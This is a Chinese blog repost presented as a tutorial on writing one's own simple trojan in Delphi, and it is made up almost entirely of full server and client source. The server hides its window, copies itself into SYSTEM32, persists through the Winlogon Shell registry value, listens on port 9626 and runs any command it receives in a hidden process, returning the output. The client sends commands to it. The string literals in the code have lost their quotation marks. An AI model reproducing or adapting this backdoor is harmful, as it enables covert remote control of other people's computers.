码迷,mamicode.com
首页 > 其他好文 > 详细

教程-“培养”自己的简单木马

时间:2015-07-28 17:50:18      阅读:173      评论:0      收藏:0      [点我收藏+]

标签:

刚学电脑时很喜欢网络安全,看着高手们写的一个又一个攻击工具,自己也总想努力去学好编程去写属于自己的程序。学Delphi快一年了,感觉什么都没学到,惭愧啊。今晚突然想学着写木马,于是手忙脚乱的敲了点代码,超简单,愿自己能越写越好!!!  程序跟传统木马一样,分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面,并在注册表添加一自动行启动项,打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行,最后把回显传送回客户端。客户端很简单,跟服务端连接成功后,输入命令点执行,正常的话可以收到服务端的执行结果了。 

技术分享

 

  1 源码如下: 
  2   ////Server.pas////////////// 
  3   unit UtMain; 
  4   //////////////////////////////////// 
  5   //////////BY lanyus//////////////// 
  6   ////////Email:greathjw@163.com//// 
  7   ////////QQ:231221//////////////// 
  8   ///部分代码从网上收集/////////// 
  9   //////////////////////////////// 
 10   interface 
 11   uses 
 12   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
 13   Dialogs, Registry, ScktComp, StdCtrls; 
 14   type 
 15   TFmMain = class(TForm) 
 16   SS: TServerSocket; 
 17   Memo1: TMemo; 
 18   procedure FormCreate(Sender: TObject); 
 19   procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket); 
 20   procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket); 
 21   private 
 22   { Private declarations } 
 23   public 
 24   { Public declarations } 
 25   end; 
 26   var 
 27   FmMain: TFmMain; 
 28   reg:TRegistry; 
 29   implementation 
 30   {$R *.dfm} 
 31   procedure TFmMain.FormCreate(Sender: TObject); 
 32   var 
 33   sysdir:array[0..50] of char; 
 34   begin 
 35   Application.ShowMainForm:=False; 
 36   FmMain.Left:=-200; //运行不显示窗口 
 37   reg:=TRegistry.Create; 
 38   reg.RootKey:=HKEY_LOCAL_MACHINE; 
 39   reg.OpenKey(SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogon,true); 
 40   if reg.ReadString(Shell)<> EXPlorer.exe Lysvr.exe then 
 41   reg.WriteString(Shell,EXPlorer.exe Lysvr.exe); //建立开机启动项 
 42   reg.Free; 
 43   GetSystemDirectory(sysdir,50); 
 44   if not FileExists(sysdir+\Lysvr.exe) then 
 45   copyfile(Pchar(Application.exeName),pchar(sysdir+\Lysvr.exe),true); 
 46   SS.Port:=9626; 
 47   try 
 48   SS.Active:=True; 
 49   except 
 50   end; 
 51   end; 
 52   procedure TFmMain.SSAccept(Sender: TObject; Socket: TCustomWinSocket); 
 53   begin 
 54   Socket.SendText(连接成功); //发现有连接时回传‘连接成功 ’ 
 55   end; 
 56   procedure TFmMain.SSClientRead(Sender: TObject; Socket: TCustomWinSocket); 
 57   var 
 58   RemoteCmd:string; 
 59   hReadPipe,hWritePipe:THandle; 
 60   si:STARTUPINFO; 
 61   lsa:SECURITY_ATTRIBUTES; 
 62   pi:PROCESS_INFORMATION; 
 63   cchReadBuffer:Dword; 
 64   ph:PChar; 
 65   fname:PChar; 
 66   res:string; 
 67   begin 
 68   Memo1.Clear; 
 69   remotecmd:=Socket.ReceiveText; 
 70   fname:=allocmem(255); 
 71   ph:=AllocMem(5000); 
 72   lsa.nLength :=sizeof(SECURITY_ATTRIBUTES); 
 73   lsa.lpSecurityDescriptor :=nil; 
 74   lsa.bInheritHandle :=True; 
 75   if CreatePipe(hReadPipe,hWritePipe,@lsa,0)=false then 
 76   begin 
 77   socket.SendText(不能创建管道); 
 78   exit; 
 79   end; 
 80   fillchar(si,sizeof(STARTUPINFO),0); 
 81   si.cb:=sizeof(STARTUPINFO); 
 82   si.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW); 
 83   si.wShowWindow:=SW_HIDE; 
 84   si.hStdOutput:=hWritePipe; 
 85   StrPCopy(fname,remotecmd); 
 86   /////执行CMD命令//// 
 87   if CreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=False then 
 88   begin 
 89   socket.SendText(不能创建进程); 
 90   FreeMem(ph); 
 91   FreeMem(fname); 
 92   Exit; 
 93   end; 
 94   while(true) do 
 95   begin 
 96   if not PeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil) then break; 
 97   if cchReadBuffer<>0 then 
 98   begin 
 99   if ReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=false then break; 
100   ph[cchReadbuffer]:=chr(0); 
101   Memo1.Lines.Add(ph); 
102   end 
103   else 
104   if(WaitForSingleObject(pi.hProcess ,0)=WAIT_OBJECT_0) then break; 
105   Sleep(100); 
106   end; 
107   ph[cchReadBuffer]:=chr(0); 
108   Memo1.Lines.Add(ph); //memo接收回显 
109   CloseHandle(hReadPipe); 
110   CloseHandle(pi.hThread); 
111   CloseHandle(pi.hProcess); 
112   CloseHandle(hWritePipe); 
113   FreeMem(ph); 
114   FreeMem(fname); 
115   socket.SendText(Memo1.Text); ///将回显发送回客户端 
116   end; 
117   end. 

 

 1 //////客户端///////////////////// 
 2   unit UtMain; 
 3   //////////////////////////////////// 
 4   //////////BY lanyus//////////////// 
 5   ////////Email:greathjw@163.com//// 
 6   ////////QQ:231221////////////// 
 7   //////////////////////////////// 
 8   interface 
 9   uses 
10   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
11   Dialogs, OleCtrls, SHDocVw, StdCtrls, IdBaseComponent, IdComponent, 
12   IdUDPBase, IdUDPServer, Buttons, TLHelp32, ScktComp; 
13   type 
14   TFmMain = class(TForm) 
15   WebBrowser1: TWebBrowser; 
16   Label3: TLabel; 
17   Edit2: TEdit; 
18   Label4: TLabel; 
19   Edit3: TEdit; 
20   Button2: TButton; 
21   CS: TClientSocket; 
22   Edit4: TEdit; 
23   Label5: TLabel; 
24   Memo1: TMemo; 
25   BitBtn2: TBitbtn; 
26   procedure Button2Click(Sender: TObject); 
27   procedure CSRead(Sender: TObject; Socket: TCustomWinSocket); 
28   procedure Bitbtn2Click(Sender: TObject); 
29   private 
30   { Private declarations } 
31   public 
32   { Public declarations } 
33   end; 
34   var 
35   FmMain: TFmMain; 
36   implementation 
37   {$R *.dfm} 
38   procedure TFmMain.Button2Click(Sender: TObject); 
39   begin 
40   CS.Host:=Edit2.Text; 
41   CS.Port:=StrToInt(Edit3.Text); 
42   CS.Open; 
43   end; 
44   procedure TFmMain.CSRead(Sender: TObject; Socket: TCustomWinSocket); 
45   begin 
46   Memo1.Clear; 
47   Memo1.Lines.Add(Socket.ReceiveText); 
48   Memo1.Lines.Add(‘‘); 
49   end; 
50   procedure TFmMain.Bitbtn2Click(Sender: TObject); 
51   begin 
52   CS.Socket.SendText(edit4.Text); 
53   end; 
54   end. 

 

教程-“培养”自己的简单木马

标签:

原文地址:http://www.cnblogs.com/FKdelphi/p/4682891.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!